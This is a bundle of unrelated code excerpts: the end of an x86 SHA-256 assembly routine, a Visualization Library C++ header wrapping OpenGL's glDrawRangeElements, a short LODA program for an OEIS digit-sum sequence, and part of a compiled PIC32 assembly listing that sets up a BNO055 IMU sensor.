mov edi,DWORD PTR 28[esp]
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR 20[esp],ecx
xor edx,ecx
xor edi,esi
ror edx,6
mov ecx,ebx
add edx,edi
mov edi,DWORD PTR 8[esp]
mov esi,ebx
ror ecx,9
mov DWORD PTR 4[esp],ebx
xor ecx,ebx
xor ebx,edi
add edx,DWORD PTR [esp]
ror ecx,11
and eax,ebx
xor ecx,esi
add edx,DWORD PTR 60[esp]
xor eax,edi
ror ecx,2
add eax,edx
add edx,DWORD PTR 16[esp]
add eax,ecx
mov ecx,edx
ror edx,14
mov esi,DWORD PTR 20[esp]
xor edx,ecx
mov edi,DWORD PTR 24[esp]
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR 16[esp],ecx
xor edx,ecx
xor edi,esi
ror edx,6
mov ecx,eax
add edx,edi
mov edi,DWORD PTR 4[esp]
mov esi,eax
ror ecx,9
mov DWORD PTR [esp],eax
xor ecx,eax
xor eax,edi
add edx,DWORD PTR 28[esp]
ror ecx,11
and ebx,eax
xor ecx,esi
add edx,DWORD PTR 64[esp]
xor ebx,edi
ror ecx,2
add ebx,edx
add edx,DWORD PTR 12[esp]
add ebx,ecx
mov ecx,edx
ror edx,14
mov esi,DWORD PTR 16[esp]
xor edx,ecx
mov edi,DWORD PTR 20[esp]
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR 12[esp],ecx
xor edx,ecx
xor edi,esi
ror edx,6
mov ecx,ebx
add edx,edi
mov edi,DWORD PTR [esp]
mov esi,ebx
ror ecx,9
mov DWORD PTR 28[esp],ebx
xor ecx,ebx
xor ebx,edi
add edx,DWORD PTR 24[esp]
ror ecx,11
and eax,ebx
xor ecx,esi
add edx,DWORD PTR 68[esp]
xor eax,edi
ror ecx,2
add eax,edx
add edx,DWORD PTR 8[esp]
add eax,ecx
mov ecx,edx
ror edx,14
mov esi,DWORD PTR 12[esp]
xor edx,ecx
mov edi,DWORD PTR 16[esp]
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR 8[esp],ecx
xor edx,ecx
xor edi,esi
ror edx,6
mov ecx,eax
add edx,edi
mov edi,DWORD PTR 28[esp]
mov esi,eax
ror ecx,9
mov DWORD PTR 24[esp],eax
xor ecx,eax
xor eax,edi
add edx,DWORD PTR 20[esp]
ror ecx,11
and ebx,eax
xor ecx,esi
add edx,DWORD PTR 72[esp]
xor ebx,edi
ror ecx,2
add ebx,edx
add edx,DWORD PTR 4[esp]
add ebx,ecx
mov ecx,edx
ror edx,14
mov esi,DWORD PTR 8[esp]
xor edx,ecx
mov edi,DWORD PTR 12[esp]
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR 4[esp],ecx
xor edx,ecx
xor edi,esi
ror edx,6
mov ecx,ebx
add edx,edi
mov edi,DWORD PTR 24[esp]
mov esi,ebx
ror ecx,9
mov DWORD PTR 20[esp],ebx
xor ecx,ebx
xor ebx,edi
add edx,DWORD PTR 16[esp]
ror ecx,11
and eax,ebx
xor ecx,esi
add edx,DWORD PTR 76[esp]
xor eax,edi
ror ecx,2
add eax,edx
add edx,DWORD PTR [esp]
add eax,ecx
mov ecx,edx
ror edx,14
mov esi,DWORD PTR 4[esp]
xor edx,ecx
mov edi,DWORD PTR 8[esp]
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR [esp],ecx
xor edx,ecx
xor edi,esi
ror edx,6
mov ecx,eax
add edx,edi
mov edi,DWORD PTR 20[esp]
mov esi,eax
ror ecx,9
mov DWORD PTR 16[esp],eax
xor ecx,eax
xor eax,edi
add edx,DWORD PTR 12[esp]
ror ecx,11
and ebx,eax
xor ecx,esi
add edx,DWORD PTR 80[esp]
xor ebx,edi
ror ecx,2
add ebx,edx
add edx,DWORD PTR 28[esp]
add ebx,ecx
mov ecx,edx
ror edx,14
mov esi,DWORD PTR [esp]
xor edx,ecx
mov edi,DWORD PTR 4[esp]
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR 28[esp],ecx
xor edx,ecx
xor edi,esi
ror edx,6
mov ecx,ebx
add edx,edi
mov edi,DWORD PTR 16[esp]
mov esi,ebx
ror ecx,9
mov DWORD PTR 12[esp],ebx
xor ecx,ebx
xor ebx,edi
add edx,DWORD PTR 8[esp]
ror ecx,11
and eax,ebx
xor ecx,esi
add edx,DWORD PTR 84[esp]
xor eax,edi
ror ecx,2
add eax,edx
add edx,DWORD PTR 24[esp]
add eax,ecx
mov ecx,edx
ror edx,14
mov esi,DWORD PTR 28[esp]
xor edx,ecx
mov edi,DWORD PTR [esp]
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR 24[esp],ecx
xor edx,ecx
xor edi,esi
ror edx,6
mov ecx,eax
add edx,edi
mov edi,DWORD PTR 12[esp]
mov esi,eax
ror ecx,9
mov DWORD PTR 8[esp],eax
xor ecx,eax
xor eax,edi
add edx,DWORD PTR 4[esp]
ror ecx,11
and ebx,eax
xor ecx,esi
add edx,DWORD PTR 88[esp]
xor ebx,edi
ror ecx,2
add ebx,edx
add edx,DWORD PTR 20[esp]
add ebx,ecx
mov ecx,edx
ror edx,14
mov esi,DWORD PTR 24[esp]
xor edx,ecx
mov edi,DWORD PTR 28[esp]
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR 20[esp],ecx
xor edx,ecx
xor edi,esi
ror edx,6
mov ecx,ebx
add edx,edi
mov edi,DWORD PTR 8[esp]
mov esi,ebx
ror ecx,9
mov DWORD PTR 4[esp],ebx
xor ecx,ebx
xor ebx,edi
add edx,DWORD PTR [esp]
ror ecx,11
and eax,ebx
xor ecx,esi
add edx,DWORD PTR 92[esp]
xor eax,edi
ror ecx,2
add eax,edx
add edx,DWORD PTR 16[esp]
add eax,ecx
mov esi,DWORD PTR 96[esp]
xor ebx,edi
mov ecx,DWORD PTR 12[esp]
add eax,DWORD PTR [esi]
add ebx,DWORD PTR 4[esi]
add edi,DWORD PTR 8[esi]
add ecx,DWORD PTR 12[esi]
mov DWORD PTR [esi],eax
mov DWORD PTR 4[esi],ebx
mov DWORD PTR 8[esi],edi
mov DWORD PTR 12[esi],ecx
mov DWORD PTR 4[esp],ebx
xor ebx,edi
mov DWORD PTR 8[esp],edi
mov DWORD PTR 12[esp],ecx
mov edi,DWORD PTR 20[esp]
mov ecx,DWORD PTR 24[esp]
add edx,DWORD PTR 16[esi]
add edi,DWORD PTR 20[esi]
add ecx,DWORD PTR 24[esi]
mov DWORD PTR 16[esi],edx
mov DWORD PTR 20[esi],edi
mov DWORD PTR 20[esp],edi
mov edi,DWORD PTR 28[esp]
mov DWORD PTR 24[esi],ecx
add edi,DWORD PTR 28[esi]
mov DWORD PTR 24[esp],ecx
mov DWORD PTR 28[esi],edi
mov DWORD PTR 28[esp],edi
mov edi,DWORD PTR 100[esp]
movdqa xmm7,XMMWORD PTR 64[ebp]
sub ebp,192
cmp edi,DWORD PTR 104[esp]
jb $L011grand_ssse3
mov esp,DWORD PTR 108[esp]
pop edi
pop esi
pop ebx
pop ebp
ret
_sha256_block_data_order ENDP
.text$ ENDS
.bss SEGMENT 'BSS'
COMM _OPENSSL_ia32cap_P:DWORD:4
.bss ENDS
END
|
/**************************************************************************************/
/* */
/* Visualization Library */
/* http://visualizationlibrary.org */
/* */
/* Copyright (c) 2005-2020, Michele Bosi */
/* All rights reserved. */
/* */
/* Redistribution and use in source and binary forms, with or without modification, */
/* are permitted provided that the following conditions are met: */
/* */
/* - Redistributions of source code must retain the above copyright notice, this */
/* list of conditions and the following disclaimer. */
/* */
/* - Redistributions in binary form must reproduce the above copyright notice, this */
/* list of conditions and the following disclaimer in the documentation and/or */
/* other materials provided with the distribution. */
/* */
/* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND */
/* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED */
/* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE */
/* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR */
/* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES */
/* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; */
/* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON */
/* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT */
/* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS */
/* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */
/* */
/**************************************************************************************/
#ifndef DrawRangeElements_INCLUDE_ONCE
#define DrawRangeElements_INCLUDE_ONCE
#include <vlGraphics/DrawCall.hpp>
#include <vlGraphics/TriangleIterator.hpp>
#include <vlGraphics/Array.hpp>
#include <vlCore/Log.hpp>
#include <vlCore/Say.hpp>
#include <algorithm>
namespace vl
{
//------------------------------------------------------------------------------
// DrawRangeElementsBase
//------------------------------------------------------------------------------
/**
* Base interface for all DrawRangeElements* sub classes.
* Implements the index-type-independent interface of the class. That is you can cast to DrawRangeElementsBase*
* and access its members without needing to know whether the actual class is a
* vl::DrawRangeElementsUInt, vl::DrawRangeElementsUShort or vl::DrawRangeElementsUByte. */
class DrawRangeElementsBase: public DrawCall
{
VL_INSTRUMENT_ABSTRACT_CLASS(vl::DrawRangeElementsBase, DrawCall)
public:
/** Sets the range start. See also http://www.opengl.org/sdk/docs/man3/xhtml/glDrawRangeElements.xml */
void setRangeStart(int rstart) { mRangeStart = rstart; }
/** Returns the range start. See also http://www.opengl.org/sdk/docs/man3/xhtml/glDrawRangeElements.xml */
int rangeStart() const { return mRangeStart; }
/** Sets the range end. See also http://www.opengl.org/sdk/docs/man3/xhtml/glDrawRangeElements.xml */
void setRangeEnd(int rend) { mRangeEnd = rend; }
/** Returns the range end. See also http://www.opengl.org/sdk/docs/man3/xhtml/glDrawRangeElements.xml */
int rangeEnd() const { return mRangeEnd; }
/** Returns whether the primitive-restart functionality is enabled or not. See http://www.opengl.org/registry/specs/NV/primitive_restart.txt */
virtual bool primitiveRestartEnabled() const { return mPrimitiveRestartEnabled; }
/** Enables the primitive-restart functionality. See http://www.opengl.org/registry/specs/NV/primitive_restart.txt */
void setPrimitiveRestartEnabled(bool enabled) { mPrimitiveRestartEnabled = enabled; }
/** If base_vertx is != 0 glDrawRangeElementsBaseVertex/glDrawRangeElementsInstancedBaseVertex will be used instead of their non *BaseVertx counterparts.
* Note that using base_vertx != requires OpenGL 3.2 or higher or ARB_draw_elements_base_vertex.
* For more information see also http://www.opengl.org/sdk/docs/man3/xhtml/glDrawRangeElementsBaseVertex.xml
*/
void setBaseVertex(int base_vertex) { mBaseVertex = base_vertex; }
/** Returns the currently used base vertex.
* For more information see also http://www.opengl.org/sdk/docs/man3/xhtml/glDrawRangeElementsBaseVertex.xml */
int baseVertex() const { return mBaseVertex; }
protected:
int mRangeStart;
int mRangeEnd;
GLuint mBaseVertex;
bool mPrimitiveRestartEnabled;
};
//------------------------------------------------------------------------------
// DrawRangeElements
//------------------------------------------------------------------------------
/**
* Wrapper for the OpenGL function glDrawRangeElements(). See also http://www.opengl.org/sdk/docs/man3/xhtml/glDrawRangeElements.xml for more information.
*
* This class wraps the following OpenGL functions:
* - glDrawRangeElements (http://www.opengl.org/sdk/docs/man4/xhtml/glDrawRangeElements.xml)
* - glDrawRangeElementsBaseVertex (http://www.opengl.org/sdk/docs/man4/xhtml/glDrawRangeElementsBaseVertex.xml)
*
* Supports:
* - <b>Multi instancing</b>: NO
* - <b>Base vertex</b>: YES
* - <b>Primitive restart</b>: YES
*
* Use the functions setPrimitiveRestartIndex() and setPrimitiveRestartEnabled() to use the <b>primitive
* restart</b> functionality (requires OpenGL 3.1). For more information see http://www.opengl.org/sdk/docs/man3/xhtml/glPrimitiveRestartIndex.xml
*
* Use the function setBaseVertex() to use the <b>base vertex</b> functionality.
* Requires OpenGL 3.2 or GL_ARB_draw_elements_base_vertex. For more information see http://www.opengl.org/sdk/docs/man3/xhtml/glDrawRangeElementsBaseVertex.xml
*
* DrawElements, MultiDrawElements, DrawRangeElements, DrawArrays are used by Geometry to define a set of primitives to be rendered, see Geometry::drawCalls().
* The indices are stored in a BufferObject and thus they can be stored locally or on the GPU.
* To gain direct access to the BufferObject use the indexBuffer() function.
*
* DrawArrays, DrawElements, MultiDrawElements and DrawRangeElements are used by Geometry to define a set of primitives to be rendered.
* @sa Geometry::drawCalls(), DrawCall, DrawElements, MultiDrawElements, DrawRangeElements, Geometry, Actor */
template <class arr_type>
class DrawRangeElements: public DrawRangeElementsBase
{
VL_INSTRUMENT_CLASS(vl::DrawRangeElements<arr_type>, DrawRangeElementsBase)
public:
typedef typename arr_type::scalar_type index_type;
//! The special index which identifies a primitive restart. By default it is set to ~0 that is 0xFF, 0xFFFF, 0xFFFFFFFF respectively for GLubyte, GLushort, GLuint index types. */
static const index_type primitive_restart_index = index_type(~0);
virtual unsigned int primitiveRestartIndex() { return (unsigned int)primitive_restart_index; }
private:
template<typename T>
class Triangle
{
public:
T ABC[3];
bool operator<(const Triangle<index_type>& b) const
{
if (ABC[0] != b.ABC[0])
return ABC[0] < b.ABC[0];
else
if (ABC[1] != b.ABC[1])
return ABC[1] < b.ABC[1];
else
return ABC[2] < b.ABC[2];
}
void rotate()
{
if (ABC[0] > ABC[1])
{ T tmp = ABC[0]; ABC[0] = ABC[1]; ABC[1] = ABC[2]; ABC[2] = tmp; }
if (ABC[0] > ABC[1])
{ T tmp = ABC[0]; ABC[0] = ABC[1]; ABC[1] = ABC[2]; ABC[2] = tmp; }
}
};
public:
DrawRangeElements(EPrimitiveType primitive = PT_TRIANGLES, int r_start=0, int r_end=primitive_restart_index)
{
VL_DEBUG_SET_OBJECT_NAME()
mType = primitive;
mRangeStart = r_start;
mRangeEnd = r_end;
mIndexBuffer = new arr_type;
mPrimitiveRestartEnabled = false;
mBaseVertex = 0;
mCount = -1; // till the end of the indexBuffer()
mOffset = 0; // from the beginning of the indexBuffer()
}
DrawRangeElements& operator=(const DrawRangeElements& other)
{
super::operator=(other);
*indexBuffer() = *other.indexBuffer();
mRangeStart = other.mRangeStart;
mRangeEnd = other.mRangeEnd;
mPrimitiveRestartEnabled = other.mPrimitiveRestartEnabled;
mBaseVertex = other.mBaseVertex;
mCount = other.mCount;
mOffset = other.mOffset;
return *this;
}
virtual ref<DrawCall> clone() const
{
ref<DrawRangeElements> de = new DrawRangeElements;
*de = *this;
return de;
}
//! The number of indices to render, default is -1 which means 'till the end of the indexBuffer() from offset()'.
void setCount(i32 count) { mCount = count; }
//! The number of indices to render, default is -1 which means 'till the end of the indexBuffer() from offset()'.
i32 count() const { return mCount; }
//! The offset in bytes from which the index buffer will be read.
void setOffset(u32 offset) { mOffset = offset; }
//! The offset in bytes from which the index buffer will be read.
u32 offset() const { return mOffset; }
//! The BufferObject containing the indices used to render
void setIndexBuffer(arr_type* index_buffer) { mIndexBuffer = index_buffer; }
//! The BufferObject containing the indices used to render
arr_type* indexBuffer() { return mIndexBuffer.get(); }
//! The BufferObject containing the indices used to render
const arr_type* indexBuffer() const { return mIndexBuffer.get(); }
virtual void updateDirtyBufferObject(EBufferObjectUpdateMode mode)
{
if (indexBuffer()->isBufferObjectDirty() || (mode & BUF_ForceUpdate))
indexBuffer()->updateBufferObject(mode);
}
virtual void deleteBufferObject()
{
indexBuffer()->bufferObject()->deleteBufferObject();
}
virtual void render(bool use_bo) const
{
VL_CHECK_OGL()
VL_CHECK(!use_bo || (use_bo && Has_BufferObject))
use_bo &= Has_BufferObject; // && indexBuffer()->bufferObject()->handle() && indexBuffer()->sizeBufferObject();
if ( !use_bo && !indexBuffer()->size() )
return;
// apply patch parameters if any and if using PT_PATCHES
applyPatchParameters();
// primitive restart enable
if(primitiveRestartEnabled())
{
VL_CHECK(Has_Primitive_Restart);
glEnable(GL_PRIMITIVE_RESTART); VL_CHECK_OGL();
glPrimitiveRestartIndex(primitive_restart_index); VL_CHECK_OGL();
}
// compute base pointer
const GLvoid* ptr = indexBuffer()->bufferObject()->ptr();
if (use_bo && indexBuffer()->bufferObject()->handle())
{
VL_glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, indexBuffer()->bufferObject()->handle()); VL_CHECK_OGL()
ptr = 0;
}
else
{
VL_glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, 0); VL_CHECK_OGL()
}
// compute final pointer and count
const char*ptr_end = NULL;
if(mCount < 0)
{
// compute the end of the index buffer
ptr_end = (char*)ptr + sizeof(index_type)*(use_bo ? indexBuffer()->sizeBufferObject() : indexBuffer()->size());
// offset in the index buffer
ptr = (char*)ptr + mOffset;
}
else
{
// offset in the index buffer
ptr = (char*)ptr + mOffset;
// compute the end of the indices
ptr_end = (char*)ptr + sizeof(index_type)*mCount;
}
// compute the remaining indices
const GLsizei count = (GLsizei)((index_type*)ptr_end - (index_type*)ptr);
if (mBaseVertex == 0)
{
glDrawRangeElements( primitiveType(), mRangeStart, mRangeEnd, count, arr_type::gl_type, ptr ); VL_CHECK_OGL()
}
else
{
VL_CHECK(Has_Base_Vertex)
VL_glDrawRangeElementsBaseVertex( primitiveType(), mRangeStart, mRangeEnd, count, arr_type::gl_type, ptr, mBaseVertex ); VL_CHECK_OGL()
}
// primitive restart disable
if(primitiveRestartEnabled())
{
glDisable(GL_PRIMITIVE_RESTART); VL_CHECK_OGL()
}
}
TriangleIterator triangleIterator() const
{
ref< TriangleIteratorIndexed<arr_type> > it =
new TriangleIteratorIndexed<arr_type>( mIndexBuffer.get(), primitiveType(),
baseVertex(), primitiveRestartEnabled(), primitive_restart_index );
it->initialize();
return TriangleIterator(it.get());
}
IndexIterator indexIterator() const
{
ref< IndexIteratorElements<arr_type> > iie = new IndexIteratorElements<arr_type>;
iie->initialize( mIndexBuffer.get(), NULL, NULL, mBaseVertex, mPrimitiveRestartEnabled, primitive_restart_index );
IndexIterator iit;
iit.initialize( iie.get() );
return iit;
}
void computeRange()
{
mRangeStart = primitive_restart_index;
mRangeEnd = 0;
for(IndexIterator it=indexIterator(); it.hasNext(); it.next())
{
if (it.index() < mRangeStart)
mRangeStart = it.index();
if (it.index() > mRangeEnd)
mRangeEnd = it.index();
}
if (mRangeEnd < mRangeStart)
{
mRangeStart = 0;
mRangeEnd = primitive_restart_index;
}
}
protected:
ref< arr_type > mIndexBuffer;
i32 mCount;
u32 mOffset;
};
//------------------------------------------------------------------------------
// typedefs
//------------------------------------------------------------------------------
/** See DrawRangeElements. A DrawRangeElements using indices of type \p GLuint. */
class DrawRangeElementsUInt: public DrawRangeElements<ArrayUInt1>
{
VL_INSTRUMENT_CLASS(vl::DrawRangeElementsUInt, DrawRangeElements<ArrayUInt1>)
public:
DrawRangeElementsUInt(EPrimitiveType primitive = PT_TRIANGLES, int r_start=0, int r_end=GLuint(~0))
:DrawRangeElements<ArrayUInt1>(primitive, r_start, r_end)
{
VL_DEBUG_SET_OBJECT_NAME();
}
};
//------------------------------------------------------------------------------
/** See DrawRangeElements. A DrawRangeElements using indices of type \p GLushort. */
class DrawRangeElementsUShort: public DrawRangeElements<ArrayUShort1>
{
VL_INSTRUMENT_CLASS(vl::DrawRangeElementsUShort, DrawRangeElements<ArrayUShort1>)
public:
DrawRangeElementsUShort(EPrimitiveType primitive = PT_TRIANGLES, int r_start=0, int r_end=GLushort(~0))
:DrawRangeElements<ArrayUShort1>(primitive, r_start, r_end)
{
VL_DEBUG_SET_OBJECT_NAME();
}
};
//------------------------------------------------------------------------------
/** See DrawRangeElements. A DrawRangeElements using indices of type \p GLubyte. */
class DrawRangeElementsUByte: public DrawRangeElements<ArrayUByte1>
{
VL_INSTRUMENT_CLASS(vl::DrawRangeElementsUByte, DrawRangeElements<ArrayUByte1>)
public:
DrawRangeElementsUByte(EPrimitiveType primitive = PT_TRIANGLES, int r_start=0, int r_end=GLubyte(~0))
:DrawRangeElements<ArrayUByte1>(primitive, r_start, r_end)
{
VL_DEBUG_SET_OBJECT_NAME();
}
};
//------------------------------------------------------------------------------
}
#endif
|
; A245338: Sum of digits of n written in fractional base 9/8.
; 0,1,2,3,4,5,6,7,8,8,9,10,11,12,13,14,15,16,15,16,17,18,19,20,21,22,23,21,22,23,24,25,26,27,28,29,26,27,28,29,30,31,32,33,34,30,31,32,33,34,35,36,37,38,33,34,35,36,37,38,39,40,41,35,36,37,38,39
mov $1,$0
div $1,9
lpb $1
sub $0,$1
sub $1,1
lpe
|
_Init_Ext_Int1:
;MPU_IMU_PIC32_v001.c,51 :: void Init_Ext_Int1(){
;MPU_IMU_PIC32_v001.c,53 :: INTCONSET = 0x0006; // Setzen Polaritat auf Rising Edge in IntCon Register mit bits 1 & 2 auf 1 --> 0b00000000 00000000 00000000 00000110
ORI R2, R0, 6
SW R2, Offset(INTCONSET+0)(GP)
;MPU_IMU_PIC32_v001.c,55 :: INT1IP0_bit = 1; // Set INT2 interrupt
LUI R2, BitMask(INT1IP0_bit+0)
ORI R2, R2, BitMask(INT1IP0_bit+0)
_SX
;MPU_IMU_PIC32_v001.c,56 :: INT1IP1_bit = 1; // Set interrupt priorities
LUI R2, BitMask(INT1IP1_bit+0)
ORI R2, R2, BitMask(INT1IP1_bit+0)
_SX
;MPU_IMU_PIC32_v001.c,57 :: INT1IP2_bit = 1; // Set inrrupt priority to 4
LUI R2, BitMask(INT1IP2_bit+0)
ORI R2, R2, BitMask(INT1IP2_bit+0)
_SX
;MPU_IMU_PIC32_v001.c,58 :: INT1IE_bit = 1; // Set interrupt on INT2 (RE9) to be enabled
LUI R2, BitMask(INT1IE_bit+0)
ORI R2, R2, BitMask(INT1IE_bit+0)
_SX
;MPU_IMU_PIC32_v001.c,59 :: INT1IF_bit = 0;
LUI R2, BitMask(INT1IF_bit+0)
ORI R2, R2, BitMask(INT1IF_bit+0)
_SX
;MPU_IMU_PIC32_v001.c,70 :: }
L_end_Init_Ext_Int1:
JR RA
NOP
; end of _Init_Ext_Int1
_Interrupt_EXTERN_1:
;MPU_IMU_PIC32_v001.c,72 :: void Interrupt_EXTERN_1() iv IVT_EXTERNAL_1 ilevel 7 ics ICS_SRS {
RDPGPR SP, SP
ADDIU SP, SP, -12
MFC0 R30, 12, 2
SW R30, 8(SP)
MFC0 R30, 14, 0
SW R30, 4(SP)
MFC0 R30, 12, 0
SW R30, 0(SP)
INS R30, R0, 1, 15
ORI R30, R0, 7168
MTC0 R30, 12, 0
;MPU_IMU_PIC32_v001.c,73 :: IMU_interrupt_bit = 1;
LBU R2, Offset(_IMU_interrupt_bit+0)(GP)
ORI R2, R2, BitMask(_IMU_interrupt_bit+0)
SB R2, Offset(_IMU_interrupt_bit+0)(GP)
;MPU_IMU_PIC32_v001.c,74 :: INT1IF_bit = 0; // Reset INT2 flag
LUI R2, BitMask(INT1IF_bit+0)
ORI R2, R2, BitMask(INT1IF_bit+0)
_SX
;MPU_IMU_PIC32_v001.c,75 :: }
L_end_Interrupt_EXTERN_1:
DI
EHB
LW R30, 8(SP)
MTC0 R30, 12, 2
LW R30, 4(SP)
MTC0 R30, 14, 0
LW R30, 0(SP)
MTC0 R30, 12, 0
ADDIU SP, SP, 12
WRPGPR SP, SP
ERET
; end of _Interrupt_EXTERN_1
_Init_BNO55:
;MPU_IMU_PIC32_v001.c,78 :: void Init_BNO55(){
ADDIU SP, SP, -12
SW RA, 0(SP)
;MPU_IMU_PIC32_v001.c,81 :: RESET_IMU = 1;
SW R25, 4(SP)
SW R26, 8(SP)
LUI R2, BitMask(RC1_bit+0)
ORI R2, R2, BitMask(RC1_bit+0)
_SX
;MPU_IMU_PIC32_v001.c,82 :: delay_ms(100);
LUI R24, 40
ORI R24, R24, 45226
L_Init_BNO550:
ADDIU R24, R24, -1
BNE R24, R0, L_Init_BNO550
NOP
;MPU_IMU_PIC32_v001.c,83 :: RESET_IMU = 0;
LUI R2, BitMask(RC1_bit+0)
ORI R2, R2, BitMask(RC1_bit+0)
_SX
;MPU_IMU_PIC32_v001.c,84 :: delay_ms(10);
LUI R24, 4
ORI R24, R24, 4522
L_Init_BNO552:
ADDIU R24, R24, -1
BNE R24, R0, L_Init_BNO552
NOP
;MPU_IMU_PIC32_v001.c,85 :: RESET_IMU = 1;
LUI R2, BitMask(RC1_bit+0)
ORI R2, R2, BitMask(RC1_bit+0)
_SX
;MPU_IMU_PIC32_v001.c,86 :: delay_ms(500);
LUI R24, 203
ORI R24, R24, 29524
L_Init_BNO554:
ADDIU R24, R24, -1
BNE R24, R0, L_Init_BNO554
NOP
NOP
NOP
;MPU_IMU_PIC32_v001.c,88 :: result = BNO55_Detect();
JAL _BNO55_Detect+0
NOP
;MPU_IMU_PIC32_v001.c,89 :: if( result == 1)
SEB R3, R2
ORI R2, R0, 1
BEQ R3, R2, L__Init_BNO5520
NOP
J L_Init_BNO556
NOP
L__Init_BNO5520:
;MPU_IMU_PIC32_v001.c,90 :: UART2_write_text("BNO55 detected\x0D\x0D");
LUI R25, hi_addr(?lstr1_MPU_IMU_PIC32_v001+0)
ORI R25, R25, lo_addr(?lstr1_MPU_IMU_PIC32_v001+0)
JAL _UART2_Write_Text+0
NOP
J L_Init_BNO557
NOP
L_Init_BNO556:
;MPU_IMU_PIC32_v001.c,92 :: UART2_write_text("BNO55 NOT detected\x0D\x0D");
LUI R25, hi_addr(?lstr2_MPU_IMU_PIC32_v001+0)
ORI R25, R25, lo_addr(?lstr2_MPU_IMU_PIC32_v001+0)
JAL _UART2_Write_Text+0
NOP
L_Init_BNO557:
;MPU_IMU_PIC32_v001.c,94 :: Config_BNO55();
JAL _Config_BNO55+0
NOP
;MPU_IMU_PIC32_v001.c,100 :: UART2_write_text("Identification Register:\x0D");
LUI R25, hi_addr(?lstr3_MPU_IMU_PIC32_v001+0)
ORI R25, R25, lo_addr(?lstr3_MPU_IMU_PIC32_v001+0)
JAL _UART2_Write_Text+0
NOP
;MPU_IMU_PIC32_v001.c,101 :: Print_MPU_register_map(0x00 , 0x00 );
MOVZ R26, R0, R0
MOVZ R25, R0, R0
JAL _Print_MPU_register_map+0
NOP
;MPU_IMU_PIC32_v001.c,103 :: UART2_write_text("TEMP_SOURCE Register:\x0D");
LUI R25, hi_addr(?lstr4_MPU_IMU_PIC32_v001+0)
ORI R25, R25, lo_addr(?lstr4_MPU_IMU_PIC32_v001+0)
JAL _UART2_Write_Text+0
NOP
;MPU_IMU_PIC32_v001.c,104 :: Print_MPU_register_map(TEMP_SOURCE , TEMP_SOURCE );
ORI R26, R0, 64
ORI R25, R0, 64
JAL _Print_MPU_register_map+0
NOP
;MPU_IMU_PIC32_v001.c,105 :: UART2_write_text("SYS_TRIGGER Register:\x0D");
LUI R25, hi_addr(?lstr5_MPU_IMU_PIC32_v001+0)
ORI R25, R25, lo_addr(?lstr5_MPU_IMU_PIC32_v001+0)
JAL _UART2_Write_Text+0
NOP
;MPU_IMU_PIC32_v001.c,106 :: Print_MPU_register_map(SYS_TRIGGER , SYS_TRIGGER );
ORI R26, R0, 63
ORI R25, R0, 63
JAL _Print_MPU_register_map+0
NOP
;MPU_IMU_PIC32_v001.c,107 :: UART2_write_text("PWR_MODE Register:\x0D");
LUI R25, hi_addr(?lstr6_MPU_IMU_PIC32_v001+0)
ORI R25, R25, lo_addr(?lstr6_MPU_IMU_PIC32_v001+0)
JAL _UART2_Write_Text+0
NOP
;MPU_IMU_PIC32_v001.c,108 :: Print_MPU_register_map(PWR_MODE , PWR_MODE );
ORI R26, R0, 62
ORI R25, R0, 62
JAL _Print_MPU_register_map+0
NOP
;MPU_IMU_PIC32_v001.c,109 :: UART2_write_text("OPR_MODE Register:\x0D");
LUI R25, hi_addr(?lstr7_MPU_IMU_PIC32_v001+0)
ORI R25, R25, lo_addr(?lstr7_MPU_IMU_PIC32_v001+0)
JAL _UART2_Write_Text+0
NOP
;MPU_IMU_PIC32_v001.c,110 :: Print_MPU_register_map(OPR_MODE , OPR_MODE );
ORI R26, R0, 61
ORI R25, R0, 61
JAL _Print_MPU_register_map+0
NOP
;MPU_IMU_PIC32_v001.c,111 :: UART2_write_text("UNIT_SEL Register:\x0D");
LUI R25, hi_addr(?lstr8_MPU_IMU_PIC32_v001+0)
ORI R25, R25, lo_addr(?lstr8_MPU_IMU_PIC32_v001+0)
JAL _UART2_Write_Text+0
NOP
;MPU_IMU_PIC32_v001.c,112 :: Print_MPU_register_map(UNIT_SEL , UNIT_SEL );
ORI R26, R0, 59
ORI R25, R0, 59
JAL _Print_MPU_register_map+0
NOP
;MPU_IMU_PIC32_v001.c,113 :: UART2_write_text("GYR_Config_1 Register:\x0D");
LUI R25, hi_addr(?lstr9_MPU_IMU_PIC32_v001+0)
ORI R25, R25, lo_addr(?lstr9_MPU_IMU_PIC32_v001+0)
JAL _UART2_Write_Text+0
NOP
;MPU_IMU_PIC32_v001.c,114 :: Print_MPU_register_map(GYR_Config_1 , GYR_Config_1 );
ORI R26, R0, 11
ORI R25, R0, 11
JAL _Print_MPU_register_map+0
NOP
;MPU_IMU_PIC32_v001.c,115 :: UART2_write_text("GYR_Config_0 Register:\x0D");
LUI R25, hi_addr(?lstr10_MPU_IMU_PIC32_v001+0)
ORI R25, R25, lo_addr(?lstr10_MPU_IMU_PIC32_v001+0)
JAL _UART2_Write_Text+0
NOP
;MPU_IMU_PIC32_v001.c,116 :: Print_MPU_register_map(GYR_Config_0 , GYR_Config_0 );
ORI R26, R0, 10
ORI R25, R0, 10
JAL _Print_MPU_register_map+0
NOP
